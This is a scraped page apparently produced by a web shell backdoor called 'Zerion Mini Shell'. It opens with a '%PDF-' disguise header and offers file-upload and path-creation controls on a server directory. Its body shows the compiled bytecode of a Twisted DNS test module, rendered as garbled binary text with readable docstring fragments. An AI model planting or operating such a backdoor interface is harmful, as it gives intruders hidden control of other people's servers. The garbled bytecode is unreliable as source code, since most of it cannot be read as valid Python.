%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/names/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/names/test/__pycache__/test_tap.cpython-312.pyc

�

Ϫ�f����dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZdd	lmZdd
lmZGd�de�Zy
)z!
Tests for L{twisted.names.tap}.
�)�ThreadedResolver)�Resolver)�PORT)�
ResolverChain)�SecondaryAuthorityService)�Options�_buildResolvers)�platform)�
UsageError)�SynchronousTestCasec�8�eZdZdZdd�Zdd�Zdd�Zdd�Zdd�Zy)	�OptionsTestszf
    Tests for L{Options}, defining how command line arguments for the DNS server
    are parsed.
    Nc�0�t�}|jt|jddg�|jt|jddg�|jt|jddg�|jt|jddg�y)z�
        If the value supplied for an I{--secondary} option does not provide a
        server IP address, optional port number, and domain name,
        L{Options.parseOptions} raises L{UsageError}.
        �--secondary��1.2.3.4z
1.2.3.4:helloz1.2.3.4:hello/example.comN)r�assertRaisesr�parseOptions��self�optionss  �=/usr/lib/python3/dist-packages/twisted/names/test/test_tap.py�test_malformedSecondaryz$OptionsTests.test_malformedSecondarys����)�����*�g�&:�&:�]�B�<O�P����*�g�&:�&:�]�I�<V�W������,�,�}�o�.N�	
�	
����� � �
�7�8�	
�c��t�}|jddg�|jdtfdgfg|j�y)z�
        An argument of the form C{"ip/domain"} is parsed by L{Options} for the
        I{--secondary} option and added to its list of secondaries, using the
        default DNS port number.
        rz1.2.3.4/example.comr�example.comN)rr�assertEqualr�secondariesrs  r�test_secondaryzOptionsTests.test_secondary+sD���)�����m�-B�C�D����I�t�,�}�o�>�?��AT�AT�Urc�~�t�}|jddg�|jddgfg|j�y)z�
        An argument of the form C{"ip:port/domain"} can be used to specify an
        alternate port number for which to act as a secondary.
        r�1.2.3.4:5353/example.com)r��rN)rrrrrs  r�test_secondaryExplicitPortz'OptionsTests.test_secondaryExplicitPort5s@��
�)�����m�-G�H�I����,�}�o�>�?��AT�AT�Urc�0�t�}|jgd��|jt|j�d�|jd}|j|jdt�|j|jd�|j|jd�|jd}|j|jdt�|j|jd�|j|jd�y	)
z�
        After parsing I{--secondary} options, L{Options} constructs a
        L{SecondaryAuthorityService} instance for each configured secondary.
        )rr!rz1.2.3.5:5354/example.com�rrr"�z1.2.3.5i�N)	rrr�len�svcs�assertIsInstancer�primary�_port)rr�	secondarys   r�test_secondaryAuthorityServicesz,OptionsTests.test_secondaryAuthorityServices>s���
�)�����
�	
�	
����W�\�\�*�A�.��L�L��O�	����g�l�l�1�o�/H�I�����*�*�I�6�������$�/��L�L��O�	����g�l�l�1�o�/H�I�����*�*�I�6�������$�/rc��t�}|jgd��t|�\}}|D]M}t|t�s�|j
d}t|t�s�4|jj��Otj�dk7r[ddlm}|jD]F}|j|jj t"j$�|j��H|j'|dt�y)z�
        Recursive DNS lookups, if enabled, should be a last-resort option.
        Any other lookup method (cache, local lookup, etc.) should take
        precedence over recursive lookups
        )z--hosts-filez	hosts.txtz--recursive����posixr)�reactorN)rrr	�
isinstancer�	resolversr�
_parseCall�cancelr
�getType�twisted.internetr1�_newTimedCallsr�func�__func__r�_cleanupr))rr�ca�cl�x�recurserr1s       r�test_recursiveConfigurationz(OptionsTests.test_recursiveConfigurationVs����)�����I�J� ��)���B��	1�A��!�]�+��;�;�r�?���h��1��'�'�.�.�0�		1������(�
1��+�+�
��� � ������2B�2K�2K�L����
�
�	
���b��f�m�4r)�returnN)	�__name__�
__module__�__qualname__�__doc__rrr#r-r@�rrrrs"���

�$V�V�0�0 5rrN)rE�twisted.internet.baser�twisted.names.clientr�twisted.names.dnsr�twisted.names.resolver�twisted.names.secondaryr�twisted.names.taprr	�twisted.python.runtimer
�twisted.python.usager�twisted.trial.unittestrrrFrr�<module>rPs6���3�)�"�/�=�6�+�+�6�c5�&�c5r

Zerion Mini Shell 1.0